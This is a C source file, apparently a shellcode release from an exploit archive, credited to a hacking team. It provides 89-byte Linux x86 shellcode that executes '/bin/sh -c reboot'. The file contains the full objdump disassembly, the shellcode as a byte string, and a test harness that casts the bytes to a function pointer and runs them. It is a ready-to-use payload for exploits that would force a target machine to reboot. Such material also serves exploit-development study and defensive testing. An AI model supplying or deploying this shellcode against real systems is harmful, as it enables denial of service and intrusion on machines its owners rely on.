76 lines
No EOL
3.4 KiB
C
76 lines
No EOL
3.4 KiB
C
/*
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# Name: "Linux reboot (bin/sh -c reboot) shellcode" (89 bytes)
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# Platform: Linux 32 and 64 bit
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# Author: Ashiyane Digital Security Team ~ MALWaRE43
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# Contact: usertester123546 [at] gmail.com
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# Tested on:
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Linux javadkhof 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:39:52 UTC
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2016 x86_64 x86_64 x86_64 GNU/Linux
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Linux navid 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21)
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i686 GNU/Linux
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—------------------------------------------------------------------------------
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Disassembly of section .shellcode:
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08049060 <_start>:
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8049060: eb 30 jmp 8049092 <mycall>
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08049062 <shellcode>:
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8049062: 5e pop %esi
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8049063: 31 c0 xor %eax,%eax
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8049065: 88 46 07 mov %al,0x7(%esi)
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8049068: 88 46 0a mov %al,0xa(%esi)
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804906b: 88 46 11 mov %al,0x11(%esi)
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804906e: 89 76 12 mov %esi,0x12(%esi)
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8049071: 8d 5e 08 lea 0x8(%esi),%ebx
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8049074: 89 5e 16 mov %ebx,0x16(%esi)
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8049077: 8d 5e 0b lea 0xb(%esi),%ebx
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804907a: 89 5e 1a mov %ebx,0x1a(%esi)
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804907d: 89 46 1e mov %eax,0x1e(%esi)
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8049080: b0 0b mov $0xb,%al
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8049082: 89 f3 mov %esi,%ebx
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8049084: 8d 4e 12 lea 0x12(%esi),%ecx
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8049087: 8d 56 1e lea 0x1e(%esi),%edx
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804908a: cd 80 int $0x80
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804908c: b0 01 mov $0x1,%al
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804908e: 31 db xor %ebx,%ebx
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8049090: cd 80 int $0x80
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08049092 <mycall>:
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8049092: e8 cb ff ff ff call 8049062 <shellcode>
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8049097: 2f das
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8049098: 62 69 6e bound %ebp,0x6e(%ecx)
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804909b: 2f das
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804909c: 73 68 jae 8049106 <_end+0x4a>
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804909e: 23 2d 63 23 72 65 and 0x65722363,%ebp
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80490a4: 62 6f 6f bound %ebp,0x6f(%edi)
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80490a7: 74 23 je 80490cc <_end+0x10>
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80490a9: 41 inc %ecx
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80490aa: 41 inc %ecx
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80490ab: 41 inc %ecx
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80490ac: 41 inc %ecx
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80490ad: 42 inc %edx
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80490ae: 42 inc %edx
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80490af: 42 inc %edx
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80490b0: 42 inc %edx
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80490b1: 43 inc %ebx
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80490b2: 43 inc %ebx
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80490b3: 43 inc %ebx
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80490b4: 43 inc %ebx
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80490b5: 44 inc %esp
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80490b6: 44 inc %esp
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80490b7: 44 inc %esp
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80490b8: 44 inc %esp
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—------------------------------------------------------------------------------
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char code[] =
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"\xeb\x30\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x11\x89\x76\x12\x8d\x5e\x08\x89\x5e\x16\x8d\x5e\x0b\x89\x5e\x1a\x89\x46\x1e\xb0\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1e\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xcb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23\x72\x65\x62\x6f\x6f\x74\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44";
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void main(){
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |